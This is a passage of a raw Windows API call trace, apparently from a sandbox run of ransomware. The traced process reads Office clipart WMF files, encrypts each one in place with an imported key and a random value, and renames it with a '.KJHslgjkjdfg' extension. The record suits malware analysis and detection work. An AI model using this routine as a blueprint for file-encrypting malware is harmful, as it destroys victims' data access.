0x990000 [0200.381] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.381] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.381] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0200.383] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.383] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.383] GetProcessHeap () returned 0x990000 [0200.383] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.383] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.383] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.383] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.383] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.383] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.383] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.383] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.383] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.384] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.384] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.384] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x94c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x94c4, lpOverlapped=0x0) returned 1 [0200.385] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x94d0, dwBufLen=0x94d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x94d0) returned 1 [0200.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.386] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x94d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x94d0, lpOverlapped=0x0) returned 1 [0200.386] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x95a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.386] SetEndOfFile (hFile=0x130) returned 1 [0200.388] GetProcessHeap () returned 0x990000 [0200.389] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.389] GetProcessHeap () returned 0x990000 [0200.389] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf.kjhslgjkjdfg")) returned 1 [0200.390] CloseHandle (hObject=0x130) returned 1 [0200.390] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd40ff00, ftCreationTime.dwHighDateTime=0x1bed402, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd40ff00, ftLastWriteTime.dwHighDateTime=0x1bed402, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281243.WMF", cAlternateFileName="")) returned 1 [0200.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.391] GetProcessHeap () returned 0x990000 [0200.391] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.391] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.391] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0200.394] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.394] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.394] GetProcessHeap () returned 0x990000 [0200.394] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.394] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.394] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.394] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.394] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.394] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.394] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.395] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.395] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.395] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.395] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb5b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb5b4, lpOverlapped=0x0) returned 1 [0200.396] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb5c0, dwBufLen=0xb5c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb5c0) returned 1 [0200.397] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.397] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb5c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb5c0, lpOverlapped=0x0) returned 1 [0200.397] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.397] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.397] SetEndOfFile (hFile=0x130) returned 1 [0200.398] GetProcessHeap () returned 0x990000 [0200.398] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.398] GetProcessHeap () returned 0x990000 [0200.398] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.398] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf.kjhslgjkjdfg")) returned 1 [0200.399] CloseHandle (hObject=0x130) returned 1 [0200.399] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c757700, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c757700, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x31dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281630.WMF", cAlternateFileName="")) returned 1 [0200.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.403] GetProcessHeap () returned 0x990000 [0200.404] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.404] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.404] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.406] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.406] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.406] GetProcessHeap () returned 0x990000 [0200.406] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.406] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.406] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.406] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.406] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.406] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.406] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.406] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.406] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.407] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.407] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.407] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x31dc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x31dc, lpOverlapped=0x0) returned 1 [0200.416] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31e0, dwBufLen=0x31e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31e0) returned 1 [0200.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.416] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x31e0, lpOverlapped=0x0) returned 1 [0200.417] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.417] SetEndOfFile (hFile=0x130) returned 1 [0200.419] GetProcessHeap () returned 0x990000 [0200.419] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.419] GetProcessHeap () returned 0x990000 [0200.419] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf.kjhslgjkjdfg")) returned 1 [0200.420] CloseHandle (hObject=0x130) returned 1 [0200.420] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da6a400, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7da6a400, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281632.WMF", cAlternateFileName="")) returned 1 [0200.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.421] GetProcessHeap () returned 0x990000 [0200.421] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.421] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.421] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0200.423] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.423] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.423] GetProcessHeap () returned 0x990000 [0200.423] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.424] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.424] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.424] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.424] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.424] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.424] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.424] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.424] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.424] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.424] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3854, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3854, lpOverlapped=0x0) returned 1 [0200.425] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3860, dwBufLen=0x3860 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3860) returned 1 [0200.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.425] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3860, lpOverlapped=0x0) returned 1 [0200.425] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.425] SetEndOfFile (hFile=0x130) returned 1 [0200.428] GetProcessHeap () returned 0x990000 [0200.428] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.428] GetProcessHeap () returned 0x990000 [0200.428] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf.kjhslgjkjdfg")) returned 1 [0200.434] CloseHandle (hObject=0x130) returned 1 [0200.434] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87300c00, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87300c00, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281638.WMF", cAlternateFileName="")) returned 1 [0200.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.435] GetProcessHeap () returned 0x990000 [0200.435] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.435] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.435] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.437] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.437] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.437] GetProcessHeap () returned 0x990000 [0200.437] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.437] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.437] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.437] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) 